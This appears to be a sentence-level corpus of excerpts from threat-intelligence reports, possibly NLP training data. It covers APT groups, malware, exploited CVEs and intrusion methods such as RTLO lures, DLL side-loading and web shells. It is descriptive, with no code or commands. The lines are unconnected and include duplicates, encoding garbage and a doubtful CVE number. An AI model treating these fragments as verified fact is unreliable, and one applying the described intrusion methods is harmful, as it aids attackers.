POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
Due to these changes without a new date string , we believe the date codes are used for campaign tracking rather than a Bookworm build identifier .
In addition to built-in functionalities , the operators of Careto can upload additional modules which can perform any malicious task .
The CONFUCIUS_B executable is disguised as a PowerPoint presentation , using a Right-To-Left-Override ( RTLO ) trick and a false icon .
The Android version , for instance , can steal SMS messages , accounts , contacts , and files , as well as record audio .
If a bot was installed on a network that was of interest to the hacking group , this bot was then used to upload one of the remote access programs .
This document , written in Vietnamese , appears to be reviewing and discussing best practices for teaching and researching scientific topics .
There is the exploit code and malware used to gain access to systems , the infrastructure that provides command and control to the malware operator , and the human elements – developers who create the malware , operators who deploy it , and analysts who extract value from the stolen information .
This file requires the target to attempt to open the .lnk file , which redirects the user to a Windows Scripting Component ( .wsc ) file , hosted on an adversary-controlled microblogging page .
Upon successful exploitation , the attachment will install the trojan known as NetTraveler using a DLL side-loading attack technique .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
wuaupdt.exe is a CMD backdoor ,which can receive and execute CMD commands sent from C2 .
As described in the infection flow , one of the first uses of the AutoHotKey scripts is to upload a screenshot from the compromised PC .
The RAT , however , had a multitude of functionalities (as listed in the table below) such as to download and execute , compress , encrypt , upload , search directories , etc .
Bemstour is specifically designed to deliver a variant of the DoublePulsar backdoor .
DoublePulsar is then used to inject a secondary payload , which runs in memory only .
The detection evasion techniques we observed in the Okrum malware include embedding the malicious payload within a legitimate PNG image , employing several anti-emulation and anti-sandbox tricks , as well as making frequent changes in implementation .
The diagram below illustrates how we believe the actors behind the Sea Turtle campaign used DNS hijacking to achieve their end goals .
If the user enables macro to open the xlsm file , it will then drop the legitimate script engine AutoHotkey along with a malicious script file .
Its configuration utilities like Margarita allows the NOC (Network Operation Center) to customize tools based on requirements from 'Fine Dining' questionairies .
Honeycomb toolserver receives exfiltrated information from the implant; an operator can also task the implant to execute jobs on the target computer , so the toolserver acts as a C2 (command and control) server for the implant .
UMBRAGE components cover keyloggers , password collection , webcam capture , data destruction , persistence , privilege escalation , stealth , anti-virus (PSP) avoidance and survey techniques .
'Improvise' is a toolset for configuration , post-processing , payload setup and execution vector selection for survey/exfiltration tools supporting all major operating systems like Windows (Bartender) , MacOS (JukeBox) and Linux (DanceFloor) .
This sample , similar to other Trochilus samples , was deployed using a DLL sideloading method utilizing three files , uploaded to the same folder on the victim machine as identified in US-CERT advisory TA17-117A last revised on December 20 , 2018 .
The configuration file then loads the Trochilus payload into memory by injecting it into a valid system process .
Insikt Group analysis of network metadata to and from the VPN endpoint IPs revealed consistent connectivity to Citrix-hosted infrastructure from all eight VPN endpoint IPs starting on August 17 , 2018 — the same date the first authenticated login to Visma’s network was made using stolen credentials .
This powerful backdoor can receive commands from the attackers , enabling it to exfiltrate files from the system it is running on , execute additional scripts , delete files , and more .
In addition , by using VBA2Graph , we were able to visualize the VBA call graph in the macros of each document .
The JavaScript forces visiting web browsers to collect and send (via a POST request) web browser , browser version , country of origin , and IP address data to the attacker controlled server jquerycodedownload.live/check.aspx” .
The group has repeatedly used social media , particularly LinkedIn , to identify and interact with employees at targeted organizations , and then used weaponized Excel documents to deliver RATs such as PupyRAT .
CTU researchers conclude that COBALT GYPSY created the persona to gain unauthorized access to targeted computer networks via social engineering .
The persistent use of social media to identify and manipulate victims indicates that COBALT GYPSY successfully achieves its objectives using this tactic .
COBALT GYPSY 's continued social media use reinforces the importance of recurring social engineering training .
The report specifies the Magic Hound targeted political , military and defense industry in the US , UK and Israel .
PwC UK and BAE Systems , working closely with industry and government , have uncovered a new , unparallelled campaign which we refer to as Operation Cloud Hopper .
By targeting high-tech and manufacturing operations in Japan and Taiwan , DragonOK may be acquiring trade secrets for a competitive economic advantage .
Targeted sectors of Molerats include governmental and diplomatic institutions , including embassies ; companies from the aerospace and defence Industries ; financial institutions ; journalists ; software developers .
FIN7 is a threat actor group that is financially motivated with targets in the restaurant , services and financial sectors .
Over the past year , we've seen the group extensively targeting a wide gamut of entities in various sectors , including Governments , Academy , Crypto-Currency , Telecommunications and the Oil sectors .
The group has focused mainly on governmental targets in Iraq and Saudi Arabia , according to past telemetry .
The new spear-phishing docs used by MuddyWater rely on social engineering to persuade users to enable macros .
Given the use of lure documents designed with social engineering in mind , it is likely that MuddyWater use phishing or spam to target users who are unaware of these documents ' malicious nature .
The oil and gas infrastructure nexus observed in connection with greensky27.vicp.net and other Unit 78020 ( Naikon ) infrastructure suggests targeting patterns supportive of the PRC 's strategic interests over energy resources within the South China Sea and Southeast Asia .
These attacks have involved social engineering , spearphishing attacks , exploitation of Microsoft Windows operating systems vulnerabilities , Microsoft Active Directory compromises , and the use of remote administration tools ( RATs ) in targeting and harvesting sensitive competitive proprietary operations and project-financing information with regard to oil and gas field bids and operations .
Night Dragon 's attacks have involved social engineering , spearphishing attacks , exploitation of Microsoft Windows operating systems vulnerabilities , Microsoft Active Directory compromises , and the use of remote administration tools ( RATs ) in targeting and harvesting sensitive competitive proprietary operations and project-financing information with regard to oil and gas field bids and operations .
It appears that the group values hardcoded into the malware is associated with the targeted organization , as several are Saudi Arabian organizations within the telecommunications and defense industries .
Should a user enable this content , the attackers are then able to use the DDE protocol to remotely execute commands in memory on the victim 's system .
These VNC exectuables would either be included in the SFX file or downloaded by the batch script .
Our investigation revealed an attack where the GCMAN group then planted a cron script into bank 's server , sending financial transactions at the rate of $200 per minute .
The GCMAN group used an MS SQL injection in commercial software running on one of bank 's public web services , and about a year and a half later , they came back to cash out .
Gorgon Group used common URL shortening services to download payloads .
Gorgon used numerous decoy documents and phishing emails , both styles of attacks lacked overall sophistication .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
This malicious document contains a Visual Basic macro that dropped and executed an upgraded version of the implant known as SYSCON , which appeared in 2017 in malicious Word documents as part of several campaigns using North Korea–related topics .
All contain the same Visual Basic macro code and author name as Honeybee .
Ke3chang attackers have used spear-phishing emails .
Traditionally , the Ke3chang attackers have used spear-phishing emails with either a malware attachment or a link to a malicious download .
DLL hijacking techniques have been seen in the past with the APT15 group .
This new campaign , dubbed HaoBao , resumes Lazarus ' previous phishing emails , posed as employee recruitment , but now targets Bitcoin users and global financial organizations .
This new campaign , dubbed HaoBao , resumes Lazarus ' previous phishing emails , posed as employee recruitment , but now targets financial organizations .
Beginning in 2017 , the Lazarus group heavily targeted individuals with spear phishing emails impersonating job recruiters which contained malicious documents .
Therefore , it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer .
Kaspersky believes both Shamoon and StoneDrill groups are aligned in their interests , but are two separate actors , which might also indicate two different groups working together .
Indeed , Kaspersky started tracking the BlueNoroff actor a long time ago .
Eset‍ has published a report on the state-sponsored Russian turla apt group ‍.It seems Eset has discovered and published on a new malware module created by Turla .
The majority of NewsBeef targets that Kaspersky researchers have observed are located in SA .
While not directly overlapping , this potential infrastructure link is interesting , as Vixen Panda has previously displayed TTPs similar to COMMENT PANDA , and has extensively targeted European entities .
Given the evidence outlined above , CrowdStrike attributes the PUTTER PANDA group to PLA Unit 61486 within Shanghai , China with high confidence .
Several RATs are used by PUTTER PANDA .
The most common of these , the 4H RAT and the 3PARA RAT , have been documented previously by CrowdStrike in previous CrowdStrike Intelligence reporting .
This analysis will be revisited below , along with an examination of two other PUTTER PANDA tools : pngdowner and httpclient .
Other CrowdStrike reporting describes a dropper used by PUTTER PANDA to install the 4H RAT .
This dropper uses RC4 to decrypt an embedded payload from data in an embedded resource before writing the payload to disk and executing it .
It contains a Word document in plaintext ( written to Bienvenue_a_Sahaja_Yoga_Toulouse.doc ) , along with an executable ( Update.exe ) and DLL ( McUpdate.dll ) .
PUTTER PANDA are a determined adversary group who have been operating for several years , conducting intelligence-gathering operations with a significant focus on the space sector .
Research presented in this report shows that the PUTTER PANDA operators are likely members of the 12th Bureau , 3rd General Staff Department ( GSD ) of the People 's Liberation Army ( PLA ) , operating from the unit 's headquarters in Shanghai with MUCD 61486 .
PUTTER PANDA is likely to continue to aggressively target Western entities that hold valuable information or intellectual property relevant to these interests .
Mandiant 's APT1 report was the first to change the game , and paved the way for private security companies to expose advanced threat actors en masse .
's APT1 report was the first to change the game , and paved the way for private security companies to expose advanced threat actors en masse .
In 2014 , our colleagues at Crowdstrike wrote an exposé about a long-standing Chinese APT threat group they self-named Putter Panda , which Mandiant / FireEye refers to as APT2 .
In 2014 , our colleagues at Crowdstrike wrote an expos about a long-standing Chinese APT threat group they self-named Putter Panda , which Mandiant / FireEye refers to as APT2 .
This threat group attacked defense contractors and aerospace companies .
The document exploited CVE-2012-0158 and will decode and write an executable to disk upon infection .
Unit 42 believes this group is previously unidentified and therefore have we have dubbed it " RANCOR " .
The Rancor group 's attacks use two primary malware families which we describe in depth later in this blog and are naming DDKONG and PLAINTEE .
We identified decoy files which indicate these attacks began with spear phishing messages but have not observed the actual messages .
Based on this , we believe the Rancor attackers were targeting political entities .
Additionally , these decoy documents are hosted on legitimate websites including a government website belonging to the Cambodia Government and in at least once case , Facebook .
Our Investigation into both clusters further showed that they were both involved in attacks targeting organizations in South East Asia .
We observed DDKONG in use between February 2017 and the present , while PLAINTEE is a newer addition with the earliest known sample being observed in October 2017 .
The RANCOR campaign represents a continued trend of targeted attacks against entities within the South East Asia region .
They are interested in users of remote banking systems ( RBS ) , mainly in Russia and neighboring countries .
That this group is mostly targeting businesses is apparent from the processes they are looking for on a compromised system .
While both RTM and Buhtrap are looking for a quite similar process list , the infection vectors are quite different .
This group has used a large array of infection vectors , mostly revolving around drive-by downloads and spam .
They are both targeting businesses using accounting software , are fingerprinting systems of interest similarly , are looking for smart card readers , and finally , they deploy an array of malicious tools to spy on their victims .
In particular , we will focus on the samples SHA-1 AA0FA4584768CE9E16D67D8C529233E99FF1BBF0 and 48BC113EC8BA20B8B80CD5D4DA92051A19D1032B .
Despite its known weaknesses , the RC4 algorithm is regularly used by malware authors .
Based on the use of the relatively unique PLAINTEE malware , the malware 's use of the same file paths on in each cluster , and the similar targeting , we have grouped these attacks together under the RANCOR campaign moniker .
Bdo is the Russian translation for RBS ( Remote Banking System ) so it is clear that RBS is a target for this malware .
Other groups , such as Buhtrap , Corkow and Carbanak , were already known to target and successfully steal money from financial institutions and their customers in Russia .
Our research on the RTM malware shows that the Russian banking system is still a target of choice for criminals .
Since last week , iSIGHT Partners has worked to provide details on the power outage in Ukraine to our global customers .
Shortly after releasing information on their espionage operations , our friends at TrendMicro found evidence that the operators were not only conducting classic strategic espionage but targeting SCADA systems as well .
iSiGHT has tracked Sandworm Team for some time - and we publicly reported on some of their activities in October 2014 , when we discovered their use of a zero-day exploit , CVE-2014-4114 .
Sandworm Team went to ground shortly after being exposed in October of 2014 , and malware with Dune references ( the genesis for the ' Sandworm ' moniker ) which we had previously used to track them disappeared entirely .
However , the unique malware variant , BlackEnergy 3 , reemerged in Ukraine early in 2015 , where we had first found Sandworm Team .
iSiGHT Partners has tracked Sandworm Team for some time - and we publicly reported on some of their activities in October 2014 , when we discovered their use of a zero-day exploit , CVE-2014-4114 .
SIGHT Partners is still collecting information on the mechanics of the power outage and what role the KillDisk malware played in the greater event .
Last week iSIGHT 's sources provided us with the same KillDisk malware published by Rob Lee of SANS and Dragos Security .
The aggressive nature of Sandworm Team 's previous activity in Europe and the United States exposed their interest in targeting critical systems and indicated preparation for cyber attack .
This year we are going to be releasing a monthly blog post introducing the " Threat Actor of the Month " , complete with detailed background information on that actor .
VOODOO BEAR is a highly advanced adversary with a suspected nexus to the Russian Federation .
Destructive malware used by VOODOO BEAR includes a wiper called PassKillDisk .
Some tools used by this actor — specifically BlackEnergy and GCat — have been adapted from commodity malware .
This adversary has been identified leveraging custom-developed plugins for versions 2 and 3 of the commodity malware Black Energy to target entities associated with energy , industrial control systems and SCADA , government , and media for espionage and destructive purposes , since at least 2011 .
A commonly observed element of implants from VOODOO BEAR — at least until this information was made public in late 2014 — were references in the malware to the 1965 science fiction novel Dune , by Frank Herbert .
This adversary has been identified leveraging custom-developed plugins for versions 2 and 3 of the commodity malware Black Energy to target entities associated with energy , government , and media for espionage and destructive purposes , since at least 2011 .
these characteristics all highlight the likelihood that VOODOO BEAR operates in alignment with Russian state interests .
This adversary displays a particular focus on targeting entities in the Ukraine and is believed to be behind the Ukrainian energy sector attacks that caused widespread power outages in late 2015 .
VOODOO BEAR appears to be integrated into an organization that also operates or tasks multiple pro-Russian hacktivist entities .
In the summer of 2014 , BlackEnergy caught our attention when we noticed that samples of it were now tailored to target Ukrainian government institutions .
Related or not , one thing is certain : the actor ( s ) using these customized BlackEnergy malware are intent on stealing information from the targets .
In this paper we focus only on BlackEnergy samples known to be used specifically by the actors we identify as Quedagh , who seem to have a particular interest in political targets .
Special focus will be on the samples that were used in targeted attacks against Ukrainian government organizations earlier this year .
Although they may have started much earlier , the earliest BlackEnergy sample we could attribute to the Quedagh gang is from December 14 , 2010 .
We warned our clients of new features suggesting an increased focus on European targets - though verification of targets was not possible at the time .
Sandworm Team may have opted for a ' hide in plain sight ' approach to evade detections from rootkit scanners , such as GMER and RootkitRevealer , that checks for system anomalies .
Table 3 ( above ) summarizes the commands supported by the variants used in the attack against Ukrainian government organizations .
In the summer of 2014 , we noted that certain samples of BlackEnergy malware began targeting Ukranian government organizations for information harvesting .
These samples were identified as being the work of one group , referred to in this document as " Quedagh " , which has a history of targeting political organizations .
The attacks we attribute to Scarlet Mimic have primarily targeted Uyghur and Tibetan activists as well as those who are interested in their causes .
To infect individuals with access to the data the actors desire , Scarlet Mimic deploys both spear-phishing and watering hole ( strategic web compromise ) attacks .
As with many other attackers who use spear-phishing to infect victims , Scarlet Mimic makes heavy use of " decoy " files .
The most recent Scarlet Mimic attacks we have identified were conducted in 2015 and suggest the group has a significant interest in both Muslim activists and those interested in critiques of the Russian government and Russian President Vladimir Putin .
Using these tactics Scarlet Mimic can directly target previously identified individuals ( spear phishing ) as well as unidentified individuals who are interested in a specific subject ( watering hole ) .
This group has been conducting attacks for at least four years using a backdoor Trojan that has been under active development .
Based on analysis of the data and malware samples we have collected , Unit 42 believes the attacks described herein are the work of a group or set of cooperating groups who have a single mission , collecting information on minority groups who reside in and around northwestern China .
Attacks launched by this group were publicly exposed on 2013 in a Trend Micro report about the FakeM Trojan .
We will also provide detailed analysis of the latest variants of the malware they deploy ( known as FakeM ) as well as other associated tools that allow Scarlet Mimic to target Android and OS X devices .
In the past , Scarlet Mimic has primarily targeted individuals who belong to these minority groups as well as their supporters , but we've recently found evidence to indicate the group also targets individuals working inside government anti-terrorist organizations .
We also know Scarlet Mimic uses a number of toolkits to create documents that contain exploit code to install the FakeM payload on a compromised system .
Unit 42 tracks the toolkits delivering FakeM under the names MNKit , WingD and Tran Duy Linh .
In July of 2015 , we identified a full e-mail uploaded to an antivirus scanning service that carried a Scarlet Mimic exploit document .
We are aware of one case where Scarlet Mimic broke from the spear-phishing pattern described above .
In 2013 , the group deployed a watering hole attack , also known as a strategic web compromise to infect victims with their backdoor .
FakeM 's functional code is shellcode-based and requires another Trojan to load it into memory and execute it .
First discussed in January 2013 in a Trend Micro whitepaper , FakeM is a Trojan that uses separate modules to perform its functionality .
We end this section with a discussion on tools related to FakeM and used by Scarlet Mimic .
Microsoft patched this vulnerability in September 2012 , suggesting that this watering hole attack used an older vulnerability , which aligns with the threat groups continued use of older vulnerabilities in their spear-phishing efforts .
Microsoft patched this vulnerability in September 2012 , suggesting that this watering hole attack used an older vulnerability , which aligns with Scarlet Mimic continued use of older vulnerabilities in their spear-phishing efforts .
Based on the timeline , it appears that the actors were actively developing several of the loaders at the same time from 2009 until the early months of 2014 .
Unit 42 tracks this mobile Trojan as MobileOrder , as the authors specifically refer to commands within the app as orders .
There are also infrastructure ties between some FakeM variants and older activity using Trojans such as Elirks , Poison Ivy , and BiFrost , which were used in attacks as old as 2009 .
There is some infrastructure overlap in the C2 servers used by almost all of the FakeM variants , as well other Trojans such as MobileOrder , Psylo , and CallMe .
Trend Micro published their analysis of the FakeM Trojan on January 17 , 2013 that discussed the original variant of FakeM .
The primary source of data used in this analysis is Palo Alto Networks WildFire , which analyzes malware used in attacks across the world .
Scarlet Mimic also uses the infamous HTRAN tool on at least some of their C2 servers .
Scarlet Mimic primarily deploys spear-phishing e-mails to infect its targets , but was also responsible for a watering hole attack in 2013 .
Kaspersky Lab has produced excellent research on Scarlet Mimic group .
Actors will run HTRAN on a server and configure their malware to interact with that server ; however , the actor will configure HTRAN to forward traffic to another server where the actual C2 server exists .
The information discovered by Unit 42 and shared here indicates Scarlet Mimic is likely a well-funded and skillfully resourced cyber adversary .
Scarlet Mimic has carried out attacks using both spear-phishing and watering holes since at least 2009 with increasingly advanced malware , and has deployed malware to attack multiple operating systems and platforms .
This time I'm going to focus on malicious CHM files used by Silence APT .
If you haven't heard about it for some reason , I would recommend to read this detailed report by Group-IB , as this APT attacks not only Russian banks , but also banks in more than 25 countries .
The group primarily deploys spear-phishing e-mails to infect its targets , but was also responsible for a watering hole attack in 2013 .
The group uses legitimate administration tools to fly under the radar in their post-exploitation phase , which makes detection of malicious activity , as well as attribution more complicated .
On January 12 , 2016 , Cylance published a blog linking an exploit document to the group Mandiant refers to as APT2 and CrowdStrike as " Putter Panda " .
In 2016 , Unit 42 launched an unprecedented analytic effort focused on developing a modern assessment of the size , scope and complexity of this threat .
In 2014 , Unit 42 released a report titled " 419 Evolution " that documented one of the first known cases of Nigerian cybercriminals using malware for financial gain .
A few months later , in February 2017 , the FBI published a press release revising its estimates and stating that " Since January 2015 , there has been a 1,300 percent increase in identified exposed losses , now totaling over $3 billion " Recognizing the significance of this threat group , Unit 42 continues to track the evolution of Nigerian cybercrime under the code name SilverTerrier .
In the 2016 Internet Crime Report published by the FBI , BEC was specifically highlighted as a " Hot Topic " , having been attributed to more than US$360 million in losses and gaining status as its own category of attack .
Recognizing the significance of this threat group , Unit 42 continues to track the evolution of Nigerian cybercrime under the code name SilverTerrier .
Pony is a fairly common malware family that has existed in various forms since 2012 , with our first indications of Nigerian use occurring in August 2014 .
Of the four , KeyBase stands out due to its rapid rise in popularity , with a peak deployment of 160 samples per month and usage by 46 separate SilverTerrier actors , followed by a fairly rapid decline .
NetWire , DarkComet , NanoCore , LuminosityLink , Remcos and Imminent Monitor are all designed to provide remote access to compromised systems .
Unit 42 analyzed the use of these six malware families and found that Nigerian actors are currently producing an average of 146 unique samples of malware per month ( see Figure 6 ) .
Given this requirement , SilverTerrier actors often rely on Dynamic DNS and virtual private servers to provide a layer of obfuscation to protect their identities .
When using email scams , SilverTerrier actors preferred to use large target audiences , which maximized the likelihood of success with very little risk .
Unit 42 tracks roughly 300 SilverTerrier actors who have registered a combined 11,600 domains over the past five years .
To support the rapid growth and pace of malware distribution efforts , SilverTerrier actors are in constant need of domains to serve as C2 nodes .
To that end , it is very unlikely that the United States government or Shell , a global energy company , would commission SilverTerrier actors to develop domains that impersonate their own legitimate websites and services .
The credentials they use to register their malware infrastructure are easily associated with their public social media accounts on Google® , Facebook® , MySpace® , Instagram® , and various dating and blogging sites .
Earlier this year , Cybereason identified an advanced , persistent attack targeting telecommunications providers that has been underway for years , soon after deploying into the environment .
Based on the data available to us , Operation Soft Cell has been active since at least 2012 , though some evidence suggests even earlier activity by the threat actor against telecommunications providers .
Threat actors , especially those at the level of nation state , are seeking opportunities to attack these organizations , conducting elaborate , advanced operations to gain leverage , seize strategic assets , and collect information .
The tools and techniques used throughout these attacks are consistent with several Chinese threat actors , such as APT10 , a threat actor believed to operate on behalf of the Chinese Ministry of State Security .
The threat actor attempted to compromise critical assets , such as database servers , billing servers , and the active directory .
The attack began with a web shell running on a vulnerable , publicly-facing server , from which the attackers gathered information about the network and propagated across the network .
The initial indicator of the attack was a malicious web shell that was detected on an IIS server , coming out of the w3wp.exe process .
An investigation of the web shell , later classified as a modified version of the China Chopper web shell , uncovered several attack phases and TTPs .
The threat actor was able to leverage the web shell to run reconnaissance commands , steal credentials , and deploy other tools .
The web shell parameters in this attack match to the China Chopper parameters , as described in FireEye 's analysis of China Chopper .
It is used to remotely control web servers , and has been used in many attacks against Australian web hosting providers .
This tool has been used by several Chinese-affiliated threat actors , such as APT 27 and APT 40 .
The most common credential stealing tool used by the threat actor was a modified mimikatz that dumps NTLM hashes .
The threat actor relied on WMI and PsExec to move laterally and install their tools across multiple assets .
Nbtscan has been used by APT10 in Operation Cloud Hopper to search for services of interest across the IT estate and footprint endpoints of interest .
A second method the threat actor used to maintain access across the compromised assets was through the deployment of the PoisonIvy RAT ( PIVY ) .
This infamous RAT has been associated with many different Chinese threat actors , including APT10 , APT1 , and DragonOK .
It is a powerful , multi-featured RAT that lets a threat actor take total control over a machine .
In an attempt to hide the contents of the stolen data , the threat actor used winrar to compress and password-protect it .
The winrar binaries and compressed data were found mostly in the Recycle Bin folder , a TTP that was previously observed in APT10-related attacks , as well as others .
This ' connection bouncer ' tool lets the threat actor redirect ports and connections between different networks and obfuscate C2 server traffic .
In order to exfiltrate data from a network segment not connected to the Internet , the threat actor deployed a modified version of hTran .
There have been numerous reports of hTran being used by different Chinese threat actors , including : APT3 ,and DragonOK .
The threat actor made some modifications to the original source code of hTran .
The threat actor had a specific pattern of behavior that allowed us to understand their modus operandi : they used one server with the same IP address for multiple operations .
There are previous reports of threat actors including APT10 and APT1 using dynamic DNS .
Our investigation showed that these attacks were targeted , and that the threat actor sought to steal communications data of specific individuals in various countries .
The data exfiltrated by this threat actor , in conjunction with the TTPs and tools used , allowed us to determine with a very high probability that the threat actor behind these malicious operations is backed by a nation state , and is affiliated with China .
Symantec saw the first evidence of Sowbug-related activity with the discovery in March 2017 of an entirely new piece of malware called Felismus used against a target in Southeast Asia .
Symantec saw the first evidence of Sowbug group with the discovery in March 2017 of an entirely new piece of malware called Felismus used against a target in Southeast Asia .
Symantec has also been able to connect earlier attack campaigns with Sowbug , demonstrating that it has been active since at least early-2015 and may have been operating even earlier .
To date , Sowbug appears to be focused mainly on government entities in South America and Southeast Asia and has infiltrated organizations in Argentina , Brazil , Ecuador , Peru , Brunei and Malaysia .
For example , in a 2015 attack on one South American foreign ministry , the group appeared to be searching for very specific information .
The first evidence of its intrusion dated from May 6 , 2015 but activity appeared to have begun in earnest on May 12 .
In total , the attackers maintained a presence on the target 's network for four months between May and September 2015 .
We have previously detected groups we suspect are affiliated with the North Korean government compromising electric utilities in South Korea , but these compromises did not lead to a disruption of the power supply .
Instead , sensitive KHNP documents were leaked by the actors as part of an effort to exaggerate the access they had and embarrass the South Korean Government , a technique we assess North Korea would turn to again in order to instill fear and/or meet domestic propaganda aims .
North Korea linked hackers are among the most prolific nation-state threats , targeting not only the U.S. and South Korea but the global financial system and nations worldwide .
FireEye has detected more than 20 cyber threat groups suspected to be sponsored by at least four other nation-states attempting to gain access to targets in the energy sector that could have been used to cause disruptions .
CapabilitiesFormBook is a data stealer , but not a full-fledged banker .
FormBook OverviewFormBook is a data stealer and form grabber that has been advertised in various hacking forums since early 2016 .
The malware may inject itself into browser processes and explorer.exe .
The attackers involved in these email campaigns leveraged a variety of distribution mechanisms to deliver the information stealing FormBook malware .
Much of the activity was observed in the United States (Figure 11) , and the most targeted industry vertical was Aerospace/Defense Contractors (Figure 12) .
In the last few weeks , FormBook was seen downloading other malware families such as NanoCore .
We have associated this campaign with APT19 , a group that we assess is composed of freelancers , with some degree of sponsorship by the Chinese government .
The vulnerability is bypassing most mitigations; however , as noted above , FireEye email and network products detect the malicious documents .
We have previously observed APT19 steal data from law and investment firms for competitive economic purposes .
Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099 , the observed RTF attachments download .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
Furthermore , there are indications that APT32 actors are targeting peripheral network security and technology infrastructure corporations .
This focused intelligence and detection effort led to new external victim identifications as well as providing sufficient technical evidence to link twelve prior intrusions ,consolidating four previously unrelated clusters of threat actor activity into FireEye’s newest named advanced persistent threat group: APT32 .
In mid-2016 , malware that FireEye believes to be unique to APT32 was detected on the networks of a global hospitality industry developer with plans to expand operations into Vietnam .
In March 2017 , in response to active targeting of FireEye clients , the team launched a Community Protection Event (CPE) – a coordinated effort between Mandiant incident responders , FireEye as a Service (FaaS) , FireEye iSight Intelligence , and FireEye product engineering – to protect all clients from APT32 activity .
In their current campaign , APT32 has leveraged ActiveMime files that employ social engineering methods to entice the victim into enabling macros .
APT32 actors continue to deliver the malicious attachments via spear-phishing emails .
APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel files to deliver their initial exploits .
In the following weeks , FireEye released threat intelligence products and updated malware profiles to customers while developing new detection techniques for APT32’s tools and phishing lures .
Also in 2014 , APT32 carried out an intrusion against a Western country’s national legislature .
In 2015 , SkyEye Labs , the security research division of the Chinese firm Qihoo 360 , released a report detailing threat actors that were targeting Chinese public and private entities including government agencies , research institutes , maritime agencies , sea construction , and shipping enterprises .
In order to track who opened the phishing emails , viewed the links , and downloaded the attachments in real-time , APT32 used cloud-based email analytics software designed for sales organizations .
Since at least 2014 , FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnama's manufacturing , consumer products , and hospitality sectors .
Mandiant consultants suspect that APT32 was monitoring web logs to track the public IP address used to request remote images .
APT32 often deploys these backdoors along with the commercially-available Cobalt Strike BEACON backdoor .
The targeting of private sector interests by APT32 is notable and FireEye believes the actor poses significant risk to companies doing business in , or preparing to invest in , the country .
While the motivation for each APT32 private sector compromise varied – and in some cases was unknown – the unauthorized access could serve as a platform for law enforcement , intellectual property theft , or anticorruption measures that could ultimately erode the competitive advantage of targeted organizations .
While actors from China , Iran , Russia , and North Korea remain the most active cyber espionage threats tracked and responded to by FireEye , APT32 reflects a growing host of new countries that have adopted this dynamic capability .
Several Mandiant investigations revealed that , after gaining access , APT32 regularly cleared select event log entries and heavily obfuscated their PowerShell-based tools and shellcode loaders with Daniel Bohannon’s Invoke-Obfuscation framework .
Furthermore , APT32 continues to threaten political activism and free speech in Southeast Asia and the public sector worldwide .
North Korea's Office 39 is involved in activities such as gold smuggling , counterfeiting foreign currency , and even operating restaurants .
With these details , we will then draw some conclusions about the operators of CARBANAK .
Most of these data-stealing capabilities were present in the oldest variants of CARBANAK that we have seen and some were added over time .
Since May 2017 , Mandiant experts observed North Korean actors target at least three South Korean cryptocurrency exchanges with the suspected intent of stealing funds .
February saw three particularly interesting publications on the topic of macOS malware: a Trojan Cocoa application that sends system information including keychain data back to the attacker , a macOS version of APT28’s Xagent malware , and a new Trojan ransomware .
Per a 2015 report from CitizenLab , Gamma Group licenses their software to clients and each client uses unique infrastructure , making it likely that the two documents are being used by a single client .
As early as March 4 , 2017 , malicious documents exploiting CVE-2017-0199 were used to deliver the LATENTBOT malware .
LATENTBOT is a modular and highly obfuscated type of malware first discovered by FireEye iSIGHT intelligence in December 2015 .
It is capable of a variety of functions , including credential theft , hard drive and data wiping , disabling security software , and remote desktop functionality .
Additionally , this incident exposes the global nature of cyber threats and the value of worldwide perspective – a cyber espionage incident targeting Russians can provide an opportunity to learn about and interdict crime against English speakers elsewhere .
Recent DRIDEX activity began following a disclosure on April 7 , 2017 .
This campaign primarily affected the government sector in the Middle East , U.S. , and Japan .
This campaign primarily affected the government sector in the Middle East , U.S. , and Japan .
FireEye believes that two actors – Turla and an unknown financially motivated actor – were using the first EPS zero-day CVE-2017-0261 , and APT28 was using the second EPS zero-day CVE-2017-0262 along with a new Escalation of Privilege (EOP) zero-day CVE-2017-0263 .
Turla and APT28 are Russian cyber espionage groups that have used these zero-days against European diplomatic and military entities .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx” .
It is possible that CVE-2017-8759 was being used by additional actors .
Russian cyber espionage actors use zero-day exploits in addition to less complex measures .
The addition of the EternalBlue exploit to Metasploit has made it easy for threat actors to exploit these vulnerabilities .
Given the release of sensitive victim data , extortion , and destruction of systems , FireEye considers FIN10 to be one of the most disruptive threat actors observed in the region so far .
To install and register the malicious shim database on a system , FIN7 used a custom Base64 encoded PowerShell script , which ran the sdbinst.exe” utility to register a custom shim database file containing a patch onto a system .
During the investigations , Mandiant observed that FIN7 used a custom shim database to patch both the 32-bit and 64-bit versions of services.exe” with their CARBANAK payload .
FIN7 is a financially motivated intrusion set that selectively targets victims and uses spear phishing to distribute its malware .
During the investigations , Mandiant observed that FIN7 used a custom shim database to patch both the 32-bit and 64-bit versions of a??services.exea?? with their CARBANAK payload .
CARBANAK malware has been used heavily by FIN7 in previous operations .
We have not yet identified FIN7’s ultimate goal in this campaign ,as we have either blocked the delivery of the malicious emails or our FaaS team detected and contained the attack early enough in the lifecycle before we observed any data targeting or theft .
If the attackers are attempting to compromise persons involved in SEC filings due to their information access , they may ultimately be pursuing securities fraud or other investment abuse .
The use of the CARBANAK malware in FIN7 operations also provides limited evidence that these campaigns are linked to previously observed CARBANAK operations leading to fraudulent banking transactions , ATM compromise , and other monetization schemes .
Figure 1 shows a sample phishing email used by HawkEye operators in this latest campaign .
The HawkEye malware is primarily used for credential theft and is often combined with additional tools to extract passwords from email and web browser applications .
HawkEye is a versatile Trojan used by diverse actors for multiple purposes .
We have seen different HawkEye campaigns infecting organizations across many sectors globally , and stealing user credentials for diverse online services .
Mandiant disclosed these vulnerabilities to Lenovo in May of 2016 .
